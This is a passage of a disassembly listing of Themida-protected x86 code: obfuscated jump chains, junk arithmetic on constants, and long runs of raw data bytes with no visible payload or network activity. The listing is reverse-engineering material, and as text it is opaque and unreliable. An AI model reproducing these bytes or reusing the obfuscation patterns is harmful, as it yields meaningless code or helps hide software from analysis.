0C1E90000h, 8B000038h, 8951240Ch, 0E383E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B522: ; CODE XREF: Themida_:00547B7Ej mov edi, esp jmp loc_5485E3 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 2B850h, 0C2010000h, 74FF5258h, 148B0424h, 0F8FE924h dd 0B8500000h, 1336633Ch, 0E958C289h, 310Dh, 0C230D825h dd 0F333520h, 0DB056D36h, 8903E2F2h, 0A978E9C5h, 0F381FFFFh dd 64CDDE8Fh, 0E95BD829h, 4CE5h ; --------------------------------------------------------------------------- loc_54B578: ; CODE XREF: Themida_:0054D348j pop edx add esp, 4 not edx push eax push edx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54B833 ; --------------------------------------------------------------------------- db 31h, 2Ch, 24h dd 1F58E9h db 0 ; --------------------------------------------------------------------------- loc_54B599: ; CODE XREF: Themida_:0054B0CDj push eax push ebx xor dword ptr [esp], 488C5EF2h pop eax xor eax, 488C5EF2h mov esi, eax pop eax push 0C2h mov [esp], esi push dword ptr [esp] mov eax, [esp] jmp loc_545BEB ; --------------------------------------------------------------------------- dw 0DE29h dd 81DE015Bh, 482BB5C6h, 2434FF45h, 155EE9h, 24348700h dd 0FFEDB5E9h, 2434FFFFh, 582434FFh, 0FFD3E6E9h, 0C8B66FFh dd 72C76824h, 3C890000h, 81E78924h, 4ECh, 24348900h, 4B951h dd 57530000h, 0FB89CF89h, 955E9h db 0 ; --------------------------------------------------------------------------- loc_54B60D: ; CODE XREF: Themida_:00548863j push eax push ebx mov bh, 90h push edx mov dh, 0BEh shr dh, 7 jmp loc_545B80 ; --------------------------------------------------------------------------- loc_54B61C: ; CODE XREF: Themida_:00545C9Aj shl edi, 8 neg edi push esi jmp loc_54EDBF ; --------------------------------------------------------------------------- loc_54B627: ; CODE XREF: Themida_:00545640j sub esp, 4 mov [esp], esi jmp loc_54E1CA ; --------------------------------------------------------------------------- dw 0F381h dd 1EF1E70h, 20D1EB81h, 0F3810F1Ch, 3C6848D7h, 0E95BDD31h dd 0FFFFBF06h, 0F5045F25h, 0FB7BE92Dh, 7F05FFFFh, 10D5616h dd 167F2DC8h, 0C8B0D56h, 94E95024h, 55000045h, 0B74BABDh dd 0B52FE974h, 3468FFFFh, 0E9000003h, 0FFFFCB3Ch, 2434FF5Ch dd 0E924048Bh, 0FFFFD9BBh, 4E553CBFh, 8BF8012Bh, 0C481243Ch dd 4, 0A16A1105h, 58C2894Ch, 46B7E9h, 3A50B800h, 2DBD56FBh dd 298A608Eh, 23E958C5h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6BB: ; CODE XREF: Themida_:00545336j push edx push dword ptr [esp+4] jmp loc_54658B ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db '$hц&',0 align 2 dw 0D4E9h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6D3: ; CODE XREF: Themida_:0054930Dj add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] pop edx jmp loc_54FD13 ; --------------------------------------------------------------------------- db 5Eh dd 0FFB0BCE9h, 68E689FFh, 5651h, 52242C89h, 0A37C94BAh dd 8370BD6Ch, 0D501935Ch, 0E9EE015Ah, 0FFFFC318h, 805AF328h dd 0C328E1C3h, 0C037B450h, 0C48008E4h, 0D9B2E947h, 0EC81FFFFh dd 4, 81241C89h, 7023242Ch, 815D2987h, 877023C5h, 4F61E929h dd 0BE560000h, 3B2E4366h, 295EF529h, 0ABBA52C5h, 0C1492B2Ah dd 685605EAh, 689C7748h, 15EE815Eh, 312F355Dh, 0BF575EF2h dd 23C0583Ah, 0E95FFD29h, 0FFFFAD03h, 8059EA28h, 0E2C0AACAh dd 746F6806h, 0B9E90000h, 28FFFF90h, 0EBC05AF3h, 9FC38004h dd 815BD800h, 4ECh, 240C8900h, 0E1C0DBB1h, 6E9C003h, 0E906E9C0h dd 0FFFFC1FBh, 5D57ABB8h, 499B0D1Fh, 173558ACh, 2D629A39h dd 0C00948C3h, 0FF8F54E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B7C9: ; CODE XREF: Themida_:00546417j pop ebp xor ecx, 5E09571Eh add ebx, ecx pop ecx xor ebx, 1BEF6F40h add ebx, 1 push edi push esi mov esi, 7D3A15B4h mov edi, 0D4DC01F0h xor edi, esi pop esi xor ebx, edi pop edi and eax, ebx jmp loc_549AB7 ; --------------------------------------------------------------------------- dd 0C796850h, 1C890000h, 1C8B5824h, 0E184E924h, 0E957FFFFh dd 461Dh, 4C5815Dh, 52000000h, 0E6543CBAh, 61E94A34h, 87000046h dd 0E95C241Ch, 0FFFF91E5h, 21E9C801h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B833: ; CODE XREF: Themida_:0054B58Cj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54AF2E ; --------------------------------------------------------------------------- loc_54B848: ; CODE XREF: Themida_:0054A8A1j mov ebx, esp jmp loc_544DF0 ; --------------------------------------------------------------------------- db 81h dd 7F61D8C1h, 0EC83585Ah, 240C8904h, 42474FFh, 24048F59h dd 421665Ch, 22E99C24h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B86F: ; CODE XREF: Themida_:0054C548j push ecx push ebx push 2D4E0411h pop ebx add ebx, 2FAE45C7h push ebp mov ebp, ebx mov ecx, ebp pop ebp pop ebx sub edi, ecx pop ecx pop ecx sub esp, 4 mov [esp], ebp mov ebp, 2 add edi, ebp pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp cmp cx, ax pushf jmp loc_548BE6 ; --------------------------------------------------------------------------- db 5Bh, 5Ah, 0E9h dd 0FFFFB2FFh, 0F3E9D5F7h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B8B7: ; CODE XREF: Themida_:0054C338j pop esi jmp loc_54BF7A ; --------------------------------------------------------------------------- db 2Dh, 81h, 2 dd 515B124Bh, 6D4368h, 24048900h, 51508A68h, 90E9587Bh dd 80FFFFC5h, 4AE97EEAh, 8100003Dh, 4ECh, 24048900h, 0C289E889h dd 0FFF341E9h, 0F7895BFFh, 0FF9F1EE9h, 2C481FFh, 30000000h dd 16E95AF0h, 0C1FFFFE9h, 0E3C106EBh, 0F7FB8707h, 31FB31D7h dd 0E9FB31DFh, 0FFFFC458h, 63434DBBh, 0F3814B62h, 64AC0CFDh dd 5E43C381h, 0E3C1077Fh, 5DEB8104h, 896791CFh, 54015BDAh dd 34FF0424h, 4830E924h, 81580000h, 4ECh, 24148900h, 0FFDC3CE9h dd 0A0BA52FFh, 0F742B001h, 6EAC1D2h, 0FFB8FCE9h, 6AEE81FFh dd 8133E27Dh, 363713EEh, 81D6F76Fh, 13EC69F6h, 5EF589A3h dd 81DDF74Dh, 7B36C9E5h, 7E5C141h, 143ED81h, 0E829068Dh dd 5D8295Dh, 0AF31F3Dh, 0B4B9515Bh, 15C7168h, 60E959C8h dd 81000039h, 0FF1417EBh, 38EB8120h, 5638DB2Ch, 4B0281BEh dd 5EF00112h, 0FAE9D829h, 0BEFFFFFEh, 58F409B0h, 5DA6F681h dd 44E92103h, 6800001Bh, 5141h, 0BD242C89h, 4415718Ch dd 8108E5C1h, 8E7404C5h, 1B53E9EAh, 56530000h, 21E8E9h dd 35E95C00h, 81FFFFBCh, 4C4h, 4BD5500h, 0E9000000h, 0FFFFF74Ah dd 0E93C77FFh, 0FFFFB685h, 2EE9BFB2h, 5BFFFFDEh, 3BA4E95Bh dd 0F660000h, 6866C8BEh, 89663D1Fh, 62E9240Ch, 59FFFFDEh dd 713268h, 240C8900h, 0A7415BB9h, 41D1F74Bh, 0FFD757E9h dd 25E951FFh, 33FFFFDEh, 0E95C2414h, 0FFFFE793h, 592434FFh dd 0E904C483h, 20CEh ; --------------------------------------------------------------------------- loc_54BA64: ; CODE XREF: Themida_:0054D32Dj mov [esp], edx jmp loc_5448D7 ; --------------------------------------------------------------------------- dd 0CB46E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA72: ; CODE XREF: Themida_:0054C16Fj pop eax push dword ptr [esp] pop edx jmp loc_548DBE ; --------------------------------------------------------------------------- dd 58ED814Dh, 899C971Ch, 0F2815DEAh, 2EA1515h, 1004E9h dd 44D0400h, 2CD8009Fh, 524D2C9Fh, 63E9E289h, 81FFFFB4h dd 4C2h, 4C28100h, 87000000h, 98E92414h, 5C00000Dh, 815D5455h dd 4C5h, 4ED8100h, 87000000h, 0EEE9242Ch, 28FFFFBDh, 0E78957C3h dd 4C781h, 0EF810000h, 4, 5C243C87h, 0B4240489h, 696E983h dd 0E95D0000h, 2FF2h, 31242C33h, 2C33242Ch, 24248B24h dd 24048B66h, 68E08950h, 45DAh, 0FFF694E9h, 4C083FFh, 0E9240487h dd 0C0Eh, 0ED81D5F7h, 729C2A37h, 2399ED81h, 0A4E93AA2h dd 66FFFF8Bh, 6652D801h, 531C25BAh, 6A7C6866h, 81665B66h dd 6607E6C3h, 51E9DA01h, 0BE000050h, 73C420E8h, 0D2E9F789h dd 6800001Ah, 274Bh, 55243489h, 0FF9D90E9h, 4EC83FFh, 68243489h dd 48FDh, 0E9241489h, 3C4Ch ; --------------------------------------------------------------------------- loc_54BB78: ; CODE XREF: Themida_:0054A63Dj push edi mov edi, 0F70C1992h sub edx, edi pop edi xor ebx, edx pop edx jmp loc_547C07 ; --------------------------------------------------------------------------- loc_54BB89: ; CODE XREF: Themida_:00550570j mov [esp], eax push 4C74h jmp loc_544F57 ; --------------------------------------------------------------------------- dw 248Bh dd 48B6624h, 1345E924h, 0FEBB0000h, 1244D8Ch, 0D3315BDAh dd 8124148Bh, 4C4h, 8A4FE900h, 0E689FFFFh, 0F749E952h dd 0C789FFFFh, 6CF78158h, 4F422938h, 0E908E7C1h, 0DADh dd 2EA81h, 89E90000h, 0B8FFFFCCh, 4, 2A67EF81h, 0C7010B34h dd 2A67C781h, 0E9580B34h, 0FFFF9837h, 240C8B66h, 0F02C483h dd 6866C0B6h, 89666C37h, 0FAE92404h, 5AFFFF89h, 737BC381h dd 0EC8172B5h, 4, 0B8240489h, 6DB131D0h, 494FC381h, 0C3017D20h dd 494FEB81h, 48B7D20h, 0E2895224h, 20C1E9h, 52D2F600h dd 385DE9h, 242C8000h, 24242807h, 0FFEDEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BC51: ; CODE XREF: Themida_:0054E129j push edx mov edx, 1 add eax, edx pop edx shr eax, 3 xor eax, 488C3621h sub eax, 0EE77F71Ch mov esi, eax mov eax, [esp] add esp, 4 sub [esp+4], esi jmp loc_54AFC1 ; --------------------------------------------------------------------------- db 81h dd 2082444h, 5F73D051h, 4245401h, 4246C81h, 692140A1h dd 0C5B8505Ah, 0E9610B17h, 0FFFFDE36h, 3212C681h, 0B2E91067h dd 5FFFFA2h, 15532B39h, 3005502Dh, 24348B41h, 0FFA86DE9h dd 46C780FFh, 0EF80F700h, 24D6E946h, 55560000h, 0F9DBE950h dd 0C87FFFFh, 304CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCD6: ; CODE XREF: Themida_:00544DD8j mov ecx, 38075750h jmp loc_54F3BD ; --------------------------------------------------------------------------- dd 68240489h, 5CB0h, 68241C89h, 13E4h, 51242C89h, 0DC307FB9h dd 0CD91E955h, 248BFFFFh, 0F069E924h, 489FFFFh, 42256824h dd 24890000h, 287D6824h, 2C890000h, 4BD24h, 28E90000h dd 5E000035h, 43BF5755h, 8140C844h, 3F3345E7h, 4EFC146h dd 0FFBCD6E9h, 2434FFFFh, 1B2BE9h, 80F3B100h, 0F18057E9h dd 25EFE939h, 0C3BE0000h, 8129F671h, 934A05C6h, 81DEF712h dd 6B2D93EEh, 0A1EE811Ch, 1A70B16h, 0EA815EF2h, 4, 5C241487h dd 56243C89h, 4332BA52h, 70E94F11h, 5C000043h, 0FFC5ABE9h dd 241489FFh, 0C9685A54h, 89000039h, 0DFB82404h, 5527EF32h dd 0FFF21AE9h, 2C8B54FFh, 4C48324h, 0E6968h, 24148900h dd 0FFF3CBE9h, 34875BFFh, 24248B24h, 0FFE538E9h, 0CD095AFFh dd 56240C8Bh, 0C681E689h, 4, 0FFF4F4E9h, 0E9DCF6FFh, 0FFFFE47Eh dd 240C8B66h, 8904EC83h, 0E189240Ch, 2A1AB850h, 0D8F722E8h dd 0ED462F2Dh, 704D0541h, 0BB5364D5h, 25DC332Fh, 202CF381h dd 0DBF72EF6h, 0FFBD37E9h, 61C50DFFh, 252D585Ch, 2D76AD40h dd 0E4888237h, 4658C631h, 0FFD8A1E9h, 3877FFFFh, 3FDEE9h dd 0E9F98900h, 0FFFFE6AFh, 8B240C87h, 0F662424h, 9C2404B3h dd 0FF93E5E9h, 59E95AFFh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE4B: ; CODE XREF: Themida_:00549B28j pop ebp jmp loc_54F187 ; --------------------------------------------------------------------------- loc_54BE51: ; CODE XREF: Themida_:0054E443j xor ebx, 160F3A84h jmp loc_54E2C0 ; --------------------------------------------------------------------------- dd 0B1240C89h, 0B8C18093h, 5063E180h, 4D2CC1B0h, 0FE58C108h dd 79F180C1h, 0F659CF00h, 0D7CF80D7h, 0FA885250h, 0F65AD088h dd 0E9C788D0h, 1BFAh, 8307E6C1h, 0EE81FFEEh, 897FD9C8h dd 685EF001h, 7C42h, 52243489h, 0BDE9E289h, 0FFFFFFA1h dd 0E9592434h, 4664h, 0FF240C89h, 59042474h, 0E924048Fh dd 0FFFFFCD2h ; --------------------------------------------------------------------------- loc_54BEC4: ; CODE XREF: Themida_:0054C0ADj pop esp mov [esp], ecx jmp loc_54D5AA ; --------------------------------------------------------------------------- db 5Bh, 33h, 2Ch dd 0F6BBE924h, 665CFFFFh, 2404AB0Fh, 8727E99Ch, 9C50FFFFh dd 0FF8720E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BEE9: ; CODE XREF: Themida_:005489B5j pop esp jmp loc_54EF49 ; --------------------------------------------------------------------------- db 5Dh dd 0FF8865E9h, 46E959FFh, 0B300000Eh, 3E3C0BAh, 0F0E9CBFEh dd 89FFFFBAh, 7EE9243Ch, 87FFFFECh, 895C240Ch, 68562414h dd 4F440FF3h, 8B2434FFh, 0C4832434h, 4C48104h, 81000000h dd 0F50968E6h, 82BD5579h, 297A8D26h, 0CE815DEEh, 5E09252Fh dd 1A01B951h, 0C6812140h, 1E2F2085h, 0EE81CE01h, 1E2F2085h dd 81240C8Bh, 4C4h, 0F0C2E900h, 895FFFFFh, 0C8B5BDEh, 4C48124h dd 81000000h, 230630EFh, 346EE94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF7A: ; CODE XREF: Themida_:0054B8B8j sub ebx, 29B65B1h add ebx, edi add ebx, 29B65B1h push edx jmp loc_54C295 ; --------------------------------------------------------------------------- dw 0C201h dd 8324048Bh, 572904C4h, 7685A24h, 89000068h, 0B3E9241Ch dd 28FFFFEEh, 5B6D04D8h, 8904EC83h, 0B1512414h, 0E4E9803Ch dd 0FFAB91E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BFBD: ; CODE XREF: Themida_:0054AF94j push ecx mov ecx, esp jmp loc_54E512 ; --------------------------------------------------------------------------- dd offset loc_40EB7F+1 db 0DEh, 8Bh, 1Ch dd 4C48124h, 80000000h, 0EBE973C6h, 8000000Ch, 0F80054F7h dd 685E95Bh, 89570000h, 5FF889D7h, 6EB815Ah, 81531B1Fh dd 631EFFEBh, 81C30143h, 631EFFC3h, 6C38143h, 8B531B1Fh dd 0C4832404h, 241C8704h, 0E924248Bh, 0FFFFB93Fh ; --------------------------------------------------------------------------- loc_54C018: ; CODE XREF: Themida_:0054A958j shr esi, 3 jmp loc_54C31E ; --------------------------------------------------------------------------- dd 6A77FF2Dh, 66362D46h, 61E93C70h, 81000000h, 4C4h, 243C8700h dd 0FFE2E0E9h, 81E789FFh, 4C7h, 4C78100h, 87000000h, 295C243Ch dd 0E9575BDFh, 0FFFFE9AEh, 8951E389h, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h, 1F67E924h, 840F0000h, 218Bh, 7CFF68h dd 24148900h, 0FE68h, 2434FF00h, 0E954525Ah, 78Ch, 3605F001h dd 53C7066h, 466A77FFh, 4BA525Eh, 1000000h, 9E75E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0AA: ; CODE XREF: Themida_:0054E4BBj xchg ebp, [esp] jmp loc_54BEC4 ; --------------------------------------------------------------------------- aNiSB db '╩╜╘©дИлB',0 align 4 dd 717FC381h, 0E8E934F3h, 8FFFFFB4h, 248B2404h, 240CFF24h dd 8533E99Ch, 0EC81FFFFh, 4, 23E6E9h, 81D5F700h, 0C13F2EF5h dd 0BE564579h, 0B9ECF453h, 895EF529h, 41E95DEAh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0FB: ; CODE XREF: Themida_:0054B440j add esp, 4 jmp loc_545168 ; --------------------------------------------------------------------------- db 81h dd offset dword_457444+1FEB2h dd 18A4E964h, 0F7890000h, 3BDAE9h, 4EC8100h, 89000000h dd 1168240Ch, 54000045h, 8124048Fh, 42404h, 55590000h dd 15482BDh, 5E5C120h, 1AE8BE56h, 78E94E52h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C143: ; CODE XREF: Themida_:0054D2F4j xchg ecx, [esp] jmp loc_54C263 ; --------------------------------------------------------------------------- db 51h dd 6075BD55h, 0ED815F57h, 7A4D18E3h, 46CD8145h, 81222804h dd 9DBB24C5h, 5DE98922h, 0FFC1A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C16D: ; CODE XREF: Themida_:0054CE6Dj add edi, eax jmp loc_54BA72 ; --------------------------------------------------------------------------- dd 54242C89h, 4C5815Dh, 0E9000000h, 0FFFFDB13h, 6658E300h dd 66200768h, 0B5240C89h, 0A04E971h, 34FF0000h, 2434FF24h dd 0E1895158h, 4C181h, 0C1810000h, 4, 5C240C87h, 4370E9h dd 16E95700h, 5FFFFFC6h, 348BF001h, 9B6AE924h, 6FB1FFFFh dd 0E99AC480h, 0FFFFBD7Ch, 5EF3015Ah, 2EB81h, 0FF530000h dd 0FF042474h, 535B2434h, 0FF9190E9h, 0B8504AFFh, 5CE9715Dh dd 0E8C1E8D1h, 3E0C105h, 0FF8D08E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C1FD: ; CODE XREF: Themida_:00544822j push ebx dec dword ptr [esp] pop ebx add ebx, 78FD731Eh jmp loc_550B4A ; --------------------------------------------------------------------------- db 1, 0E8h, 2Dh dd 42EB3900h, 28D9E9h, 633CBA00h, 0D0011336h, 0E92434FFh dd 0FFFFEC4Bh, 924248Bh, 348B1C77h, 0E7895724h, 0FF9090E9h dd 4C483FFh, 4C781h, 0E1680000h, 8900006Bh, 4B82404h, 1000000h dd 3C8758C7h, 0F426E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C25A: ; CODE XREF: Themida_:00545FA2j mov eax, [esp] push ebx jmp loc_548BDF ; --------------------------------------------------------------------------- loc_54C263: ; CODE XREF: Themida_:0054C146j mov esp, [esp] mov edx, [esp] add esp, 4 push ebp mov ebp, 0E98107Ch jmp loc_54848D ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24148904h, 0D5E95456h, 83000010h, 516604C4h dd 0FFCE0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C295: ; CODE XREF: Themida_:0054BF89j push ecx mov ecx, 0FCB3BD5h xor ecx, 0EAC125Eh push ecx pop edx pop ecx jmp loc_546E2F ; --------------------------------------------------------------------------- db 2Dh, 0D6h, 6Fh dd 6B054CE9h, 2D5EB045h, 646671ECh, 0EC05D801h, 2D646671h dd 5EB0456Bh, 0FFCAA9E9h, 48B66FFh, 5C7B6824h, 14890000h dd 4A956824h, 24890000h, 24048324h, 86F6E904h, 0C89FFFFh dd 40B924h, 0F9010000h, 4EC81h, 34890000h, 4072E924h, 0B1510000h dd 0D004AAh, 0E9D02CC8h, 0FFFF9F06h, 0BB535250h, 779A25D8h dd 895BDA89h, 3F78E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C31E: ; CODE XREF: Themida_:0054C01Bj add esi, 0D323207h xor esi, 19C8B26Eh add ebx, 35CC40F3h add ebx, esi sub ebx, 35CC40F3h jmp loc_54B8B7 ; --------------------------------------------------------------------------- db 54h, 5Bh, 50h dd 0AA553068h, 2812E935h, 0DBF70000h, 3109EB81h, 0B8507904h dd 285423AEh, 8358C309h, 148904ECh, 2170BA24h, 0EC8121ABh dd 4, 0FFC0EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C371: ; CODE XREF: Themida_:00545A43j add esp, 4 jmp loc_54B25D ; --------------------------------------------------------------------------- db 50h, 0B0h, 2 dd 0E9D9B050h, 0FFFFB604h, 0FD045A66h, 0FF96D3E9h, 81E789FFh dd 4C7h, 4C78100h, 0E9000000h, 0FFFFE5C6h, 5C240C87h, 83242C8Bh dd 5AE904C4h, 0ADFFFF82h, 4EC81h, 3C890000h, 5B66BF24h dd 0D7F77D2Bh, 6920EF81h, 0F8294842h, 0E9D8015Fh, 106Dh ; --------------------------------------------------------------------------- loc_54C3D0: ; CODE XREF: Themida_:0054FBBBj add cl, 78h mov eax, [esp] add esp, 4 sub esp, 2 jmp loc_54CBE7 ; --------------------------------------------------------------------------- db 0ADh dd 3A55C82Dh, 0ECE95156h, 5FFFFFA2h, 0FFA307E9h, 59C181FFh dd 31A7E0A0h, 2434FFC8h, 81240C8Bh, 4C4h, 4C48300h, 50E18951h dd 4B8h, 58C10100h, 4E981h, 0E8E90000h, 31FFFFFAh, 8B5350C8h dd 0C4832404h, 2434FF04h, 4023E9h, 88525800h, 246C8AEEh dd 24748804h, 0BEE95A04h, 89FFFF81h, 4C281E2h, 81000000h dd 4C2h, 24148700h, 7755685Ch, 14890000h, 2BA24h, 0D0010000h dd 0C9A2E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C472: ; CODE XREF: Themida_:00549512j push 53EFh jmp loc_548ECB ; --------------------------------------------------------------------------- dd 0EB4CE953h, 0F729FFFFh, 38EA815Eh, 0E97EA564h, 0FFFF87D9h dd 5E08950h, 4, 25B9BB53h, 0E9434403h, 0FFFFD55Dh, 657F68ACh dd 0C890000h, 0E905B524h, 0FFFFC839h, 0F97A5CBFh, 0ED266801h dd 57E91FE6h, 0BAFFFFB5h, 9FF4816h, 2ECBC281h, 57515B26h dd 0C22E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp jmp loc_54F5DF ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 1562E9h db 0 ; --------------------------------------------------------------------------- loc_54C4FD: ; CODE XREF: Themida_:0054FD19j xchg ebp, [esp] pop edx push eax push edx pop eax mov edx, [esp] add esp, 4 push ebx mov ebx, 64222142h xchg edi, ebx dec edi xchg edi, ebx dec ebx not ebx sub ebx, 32D66F83h dec ebx jmp loc_549A69 ; --------------------------------------------------------------------------- db 81h dd 0FEA127C3h, 0F08CE913h, 0BB53FFFFh, 45222AA2h, 0E906E3C1h dd 0FFFFC63Fh ; --------------------------------------------------------------------------- loc_54C540: ; CODE XREF: Themida_:005454B6j add edi, ecx add edi, 157E47D2h jmp loc_54B86F ; --------------------------------------------------------------------------- db 0B8h, 0F5h, 2Ch dd 0D0F71C0Dh, 0E904EC83h, 0FFFF950Bh, 0FAF6E953h, 0E956FFFFh dd 0FFFFE8BEh, 85287BB8h, 4EC8165h, 89000000h, 4FF2404h dd 0D0F75824h, 244AB935h, 0E9E8D10Fh, 0FFFFCA21h, 0E924048Fh dd 0FFFFF45Eh, 0C4BEE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C596: ; CODE XREF: Themida_:0054874Dj mov ebp, [esp] jmp loc_54AD3E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF89FAE9h, 0C8B66FFh, 0E7895724h, 213DB850h, 0E8C1793Eh dd 240D4008h, 527A537h, 0D802C0DEh, 6858C701h, 35A5h, 0FFE679E9h dd 24048BFFh, 29FD68h, 242C8900h, 0C581E589h, 4, 88E95556h dd 1FFFF98h, 3E11E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C5F2: ; CODE XREF: Themida_:0054E1FEj add esi, 0FFAD8209h and ecx, esi push dword ptr [esp] pop esi push esi push esp pop esi sub esp, 4 mov [esp], edx mov edx, 4 add esi, 5E9533ECh add esi, edx sub esi, 5E9533ECh pop edx add esi, 4 xchg esi, [esp] mov esp, [esp] shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx mov ecx, esp push eax mov eax, 4 jmp loc_547835 ; --------------------------------------------------------------------------- db 66h dd 58E1885Ah, 5966CE08h, 0FCE9D6F6h, 4DFFFFD1h, 0BF57DDF7h dd 648F6F16h, 11F4E9h, 0ACE95200h, 6800000Ah, 22F9h, 0E9241489h dd 0FFFF84D3h ; --------------------------------------------------------------------------- loc_54C678: ; CODE XREF: Themida_:0054B481j or ebp, 7B833C42h jmp loc_54834A ; --------------------------------------------------------------------------- loc_54C683: ; CODE XREF: Themida_:0054C934j mov ebx, 0FFFFFFFFh add eax, ebx pop ebx shr eax, 8 xor eax, 458E6471h mov edx, eax pop eax add ebx, 248576E3h add ebx, edx sub ebx, 248576E3h mov edx, [esp] jmp loc_54A6E5 ; --------------------------------------------------------------------------- dd 8106E6C1h, 304D2EE6h, 6E6C17Ah, 416BF681h, 11E99DD0h dd 68FFFFB8h, 52CC5682h, 2E0C158h, 2D04E0C1h, 55A034E7h dd 8158C289h, 0EE580ACAh, 4FF2810Fh, 195AAD1h, 0C3015AD0h dd 5724048Bh, 0C7815F54h, 4, 8704C783h, 0A2E9243Ch, 68000042h dd 1404h, 89242C89h, 4C581E5h, 83000000h, 13E904C5h, 83FFFF8Eh dd 48F04C4h, 55E95C24h, 0F7FFFFC5h, 0DC2DE9D0h, 0F75CFFFFh dd 0F0C6E9D3h, 15BFFFFh, 0C7015FF8h, 8124048Bh, 4C4h, 243C8700h dd 0D224248Bh, 0E99C2424h, 0FFFF7EB9h, 8B242C87h, 0F662424h dd 5166C8AFh, 7EA7E99Ch, 0DAF7FFFFh, 0CDE9E2D1h, 0F7FFFFA2h dd 1C5C05D8h, 3563E1h, 68682718h, 6E84h, 0E9242C89h, 3BE2h dd 9548E951h, 6852FFFFh, 69ED6872h, 4EC815Ah, 89000000h dd 65BF243Ch, 81594034h, 0F462DCF7h, 0D9F1E91Bh, 0F581FFFFh dd 89A2DF3Fh, 595DE801h, 348E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7BA: ; CODE XREF: Themida_:00548708j pop ebx jmp loc_544609 ; --------------------------------------------------------------------------- dd 2BB5359h, 0E9000000h, 0FFFFD6C9h, 4B9h, 0E9CA8900h dd 3CFDh, 0FF7E2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C7DD: ; CODE XREF: Themida_:00544995j pop eax push 10DEh mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edi mov edi, 79364F87h push esi jmp loc_544906 ; --------------------------------------------------------------------------- loc_54C7F9: ; CODE XREF: Themida_:0054E5B0j add esi, edi pop edi push esi push dword ptr [esp+4] pop esi jmp loc_54FE3D ; --------------------------------------------------------------------------- db 33h dd 248B2414h, 3FC2E924h, 99050000h, 0E926CD41h, 0FFFFEFEEh dd 2129E95Ah, 0DA010000h, 837EE95Bh, 5259FFFFh, 4B850h dd 0C2890000h, 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 80E95C24h, 5C000037h, 0DB0BD55h, 0DDF71C08h, 0ED83DDF7h dd 0E94D45FFh, 0FFFFC6BDh, 0A304D800h, 241C8B66h, 2256E9h db 0 ; --------------------------------------------------------------------------- loc_54C871: ; CODE XREF: Themida_:00544617j mov bl, 0 mov ch, bl mov bx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp push edx mov dl, 0C2h dec dl shl dl, 7 neg dl sub dl, 6Eh shl dl, 2 push ebx jmp loc_55048B ; --------------------------------------------------------------------------- a_bVphIarqC db '_│аvPh;IARQ╧√',0 db 0Ah, 50h, 0BAh dd 0AE5986E2h, 96E9CA29h, 29FFFFE6h, 0AC30E9CBh, 0C481FFFFh dd 4, 5747FB2Dh, 5D02966h, 665747FBh, 29E6BD55h, 0ED8162C4h dd 153A0A3Ah, 0FF5DE829h, 815A2434h, 4ECh, 0C001E900h dd 3489FFFFh, 0B5BD5524h, 57794014h, 0D00505BFh, 0AEBEE967h dd 0FEE9FFFFh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C90B: ; CODE XREF: Themida_:0054F3C8j xor [esp], ebp xor ebp, [esp] jmp loc_54A59E ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 0F0215C24h, 0D1C2095Eh, 90E952E2h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C933: ; CODE XREF: Themida_:00549A70j push ebx jmp loc_54C683 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 248B241Ch, 24048924h, 0FFE5D5E9h, 241C87FFh dd 8956565Ch, 4C681E6h, 0E9000000h, 0FFFFD220h, 8759C801h dd 248B2404h, 9CC13824h, 0FFB81AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C971: ; CODE XREF: Themida_:00550BE8j mov edx, 4F395580h jmp loc_549168 ; --------------------------------------------------------------------------- db 58h dd 